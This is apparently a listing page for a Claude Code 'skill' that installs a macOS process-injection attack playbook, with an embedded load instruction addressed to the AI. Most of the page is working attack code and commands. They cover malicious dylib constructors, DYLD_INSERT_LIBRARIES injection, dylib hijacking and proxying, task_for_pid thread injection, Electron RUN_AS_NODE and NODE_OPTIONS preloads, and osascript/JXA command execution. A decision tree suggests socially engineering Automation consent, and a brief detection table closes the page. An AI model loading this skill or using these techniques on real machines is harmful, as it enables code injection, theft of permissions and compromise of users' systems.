macos-process-injection について
macOS のプロセス注入経路と前提条件、検出の手掛かりを整理したセキュリティスキルです。ネイティブアプリ、XPC、Mach、Electron の攻撃面を調べるテスター向けです。
主な機能
- 01DYLD 環境変数注入の条件
- 02弱い dylib と @rpath のハイジャック
- 03XPC の PID 検証の弱点
- 04Mach ポートと MIG の攻撃面
- 05Electron 注入と検出の手掛かり
活用シーン
- 01対象プログラムの dylib ハイジャック可能性の評価
- 02XPC サービスのクライアント検証の確認
- 03Electron アプリの注入経路の分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill macos-process-injectionインストール後、Claude Code で/macos-process-injectionを入力して読み込まれたか確認します。
同梱ファイルDYLIB_XPC_TECHNIQUES.md
詳細
SKILL:macOS プロセスインジェクション — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:macOS のエキスパート向けプロセスインジェクション手法です。DYLD_INSERT_LIBRARIES、dylib ハイジャック(weak/rpath/プロキシ)、XPC PID 再利用攻撃、Mach ポート操作、MIG の悪用、Electron インジェクションを扱います。基本モデルでは、インジェクションベクトルにおけるエンタイトルメントの前提条件や SIP の制約が見落とされます。
0. 関連するルーティング
詳しく調べる前に、次の項目を読み込むことを検討してください。
- インジェクションを妨げる TCC、Gatekeeper、SIP の保護を回避する必要がある場合は、macos-security-bypass
- Unix レイヤーの権限昇格については、linux-privilege-escalation(共有オブジェクトのハイジャックの概念が当てはまります)
高度なリファレンス
次の内容が必要な場合は、DYLIB_XPC_TECHNIQUES.md も読み込んでください。
- ツールのコマンドを含む、手順ごとの dylib ハイジャック手法
- コード例を含む XPC 悪用の解説
- Mach ポート手法の詳細と task_for_pid のパターン
1. DYLD_INSERT_LIBRARIES インジェクション
最も簡単なインジェクション方法です。動的リンカーに dylib の事前読み込みを強制する環境変数を設定します。
1.1 要件と制限事項
| 条件 | インジェクション可能? | 理由 |
|---|---|---|
| 通常の(Hardened Runtime が有効でない)バイナリ | はい | 制限なし |
| Hardened Runtime が有効 | いいえ | DYLD が環境変数を除去します |
Hardened Runtime が有効で、com.apple.security.cs.allow-dyld-environment-variables が設定済み | はい | エンタイトルメントにより明示的に許可されています |
| Apple のシステムバイナリ(SIP で保護) | いいえ | SIP により DYLD 環境変数が除去されます |
| SUID/SGID バイナリ | いいえ | 権限の安全性を保つため、DYLD 環境変数が除去されます |
| App Sandbox が有効 | いいえ | サンドボックスが環境変数によるインジェクションをブロックします |
1.2 基本的なインジェクション
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
1.3 インジェクション可能なターゲットの検索
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
if [ -n "$binary" ]; then
flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
fi
' _ {} \;
# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
codesign -d --entitlements :- "$binary" 2>/dev/null | \
grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;
2. DYLIB ハイジャック
動的リンカーのライブラリ検索順序を悪用して、正規の dylib の代わりに(またはそれに加えて)攻撃者が制御する dylib を読み込ませます。
2.1 Weak Dylib ハイジャック(LC_LOAD_WEAK_DYLIB)
Weak dylib は任意です。存在しなくてもバイナリは実行されます。想定パスに dylib を配置できれば、その dylib が読み込まれます。
# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB
# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done
2.2 @rpath ハイジャック
@rpath は、バイナリ内の LC_RPATH エントリから解決されます。先に検索される rpath ディレクトリが書き込み可能であれば、そこに dylib を配置できます。
# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH
# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath
# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there
2.3 Dylib プロキシ
正規の dylib を、すべてのエクスポートを元の dylib に転送する悪意のある dylib に置き換えます。
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'
# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
// malicious code here
}
EOF
gcc -dynamiclib -o hijacked.dylib proxy.c \
-Wl,-reexport_library,/path/to/original_real.dylib \
-arch x86_64 -arch arm64
2.4 依存関係の列挙
otool -L /path/to/binary # List all dylib dependencies
otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)
3. XPC の悪用
XPC(プロセス間通信)は、macOS における権限分離の主要な IPC メカニズムです。特権を持つ XPC サービスは、価値の高いターゲットです。
3.1 XPC サービスの検出
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20
# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null
# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null
3.2 PID 再利用攻撃
PID で検証される XPC 接続は、競合状態の影響を受けます。攻撃者がプロセスを起動し、PID が確認されて検証を通過した後、攻撃者のプロセスが終了すると、OS がその PID を悪意のあるプロセスに再利用します。
| 検証方法 | 脆弱か? | 備考 |
|---|---|---|
| PID ベースのチェック | はい | プロセス終了後に PID が再利用されます |
| Audit token | いいえ | プロセスのライフサイクルごとに一意で、再利用されません |
| コード署名チェック | いいえ | 署名 ID を検証します |
| エンタイトルメントチェック | いいえ | プロセスのエンタイトルメントを確認します |
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)
3.3 XPC クライアント検証の弱点
| 弱点 | 説明 | 悪用方法 |
|---|---|---|
| クライアント検証なし | サービスがすべての接続を受け入れます | 直接接続してコマンドを送信します |
| PID のみで検証 | 競合状態を悪用できます | PID 再利用攻撃(§3.2) |
| Bundle ID のみをチェック | Bundle ID は偽装できます | 一致する Bundle ID のアプリを作成します |
| コード要件が不完全 | anchor チェックがありません | 部分的な要件に一致する任意の証明書で署名します |
| 誤ったプロセスのエンタイトルメントをチェック | クライアントではなく親プロセスをチェックします | エンタイトルメントを持つ親プロセスから起動します |
4. MACH ポート操作
Mach ポートは、XPC の基盤となるカーネルレベルの IPC プリミティブです。Mach ポートに直接アクセスすると、強力なインジェクションが可能になります。
4.1 タスクポート(task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Can now read/write target process memory
// Can inject threads via thread_create_running
}
| アクセス方法 | 要件 | 悪用後に可能なこと |
|---|---|---|
task_for_pid() | Root + SIP で保護されていないターゲット | メモリの完全な読み書き、スレッドインジェクション |
processor_set_tasks() | Root + com.apple.system-task-ports | すべてのタスクポートの列挙 |
| 例外ポート | task_set_exception_ports で設定 | ターゲットのクラッシュを捕捉し、実行をリダイレクト |
| スレッドインジェクション | タスクポートを取得済み | ターゲットのアドレス空間に新しいスレッドを作成 |
4.2 ポート名前空間の操作
| 手法 | 説明 |
|---|---|
| ポート名の推測 | Mach ポート名は連続した整数のため、状況によっては総当たりで推測可能です |
mach_port_insert_right | ターゲットの名前空間に送信権を挿入(タスクポートが必要) |
| Bootstrap サーバーの悪用 | 正規サービスより先にサービス名を登録 → 接続を傍受 |
5. MIG(MACH INTERFACE GENERATOR)の悪用
MIG は Mach IPC 用の C スタブを生成します。MIG サーバーのディスパッチルーチンには脆弱性が存在する可能性があります。
5.1 分析アプローチ
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"
# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"
5.2 よくある MIG の脆弱性
| 脆弱性 | 説明 |
|---|---|
| 監査トークンの検証漏れ | MIG ハンドラーが送信者の ID を検証しません |
| 型の混同 | MIG のデシリアライズ処理が、クライアントから提供された型記述子を信頼します |
| ポートのライフサイクルに関する問題 | MIG 呼び出しの間に Mach ポートを解放した後で使用します |
| OOL(アウトオブライン)メモリの悪用 | 過大な OOL 記述子 → カーネルメモリの問題 |
6. ELECTRON / CHROMIUM へのインジェクション
多くの macOS アプリは Electron(Slack、Discord、VS Code、Teams など)を使用しています。Electron アプリには、複数のインジェクション対象が存在します。
6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
"require('child_process').execSync('id').toString()"
# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.
6.2 デバッグフラグ
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser
# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229
6.3 NODE_OPTIONS インジェクション
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
6.4 Electron のヒューズ
最新の Electron アプリでは、危険な機能を無効にするために「ヒューズ」を使用します。ヒューズの状態を確認してください。
| ヒューズ | 有効時(セキュア) | 無効時(悪用可能) |
|---|---|---|
RunAsNode | ELECTRON_RUN_AS_NODE が除去される | アプリを Node.js として使用可能 |
EnableNodeCliInspectArguments | --inspect フラグが除去される | デバッガーをアタッチ可能 |
EnableNodeOptionsEnvironmentVariable | NODE_OPTIONS が除去される | preload をインジェクション可能 |
OnlyLoadAppFromAsar | .asar からのみ読み込む | JS ファイルを置き換え可能 |
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"
7. アプリケーションスクリプティング(APPLE EVENTS)
# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'
# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
var app = Application("Terminal");
app.doScript("id > /tmp/pwned");
'
# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
ObjC.import("Cocoa");
var task = $.NSTask.alloc.init;
task.launchPath = "/bin/bash";
task.arguments = ["-c", "id > /tmp/pwned"];
task.launch;
'
8. プロセスインジェクションの判断ツリー
Need to inject code into macOS process
│
├── Target uses Electron?
│ ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│ ├── Debugging available? → --inspect flag (§6.2)
│ ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│ └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│ └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│ ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│ ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│ └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│ ├── No client validation? → connect directly (§3.3)
│ ├── PID-only validation? → PID reuse attack (§3.2)
│ └── Audit token validation? → need different vector
│
├── Have root access?
│ ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│ └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│ ├── Automation permission for target? → osascript injection (§7)
│ └── No permission? → social engineer Automation consent
│
└── None of the above?
├── Check for MIG server vulnerabilities (§5)
└── Look for bootstrap server name collision (§4.2)
9. 検知とフォレンジック
| アーティファクト | 確認場所 |
|---|---|
| DYLD_INSERT_LIBRARIES の使用 | プロセス環境(/proc/PID/environ、ps eww) |
| 想定外の dylib の読み込み | vmmap PID または DYLD_PRINT_LIBRARIES=1 の出力 |
| XPC 接続の異常 | Endpoint Security の es_event_type_t XPC イベント |
| Electron のデバッグポートが開いている | lsof -i :9229 |
| osascript の実行 | 統合ログ:log show --predicate 'process=="osascript"' |
| 署名されていないコードの実行 | codesign --verify の失敗、Gatekeeper のログ |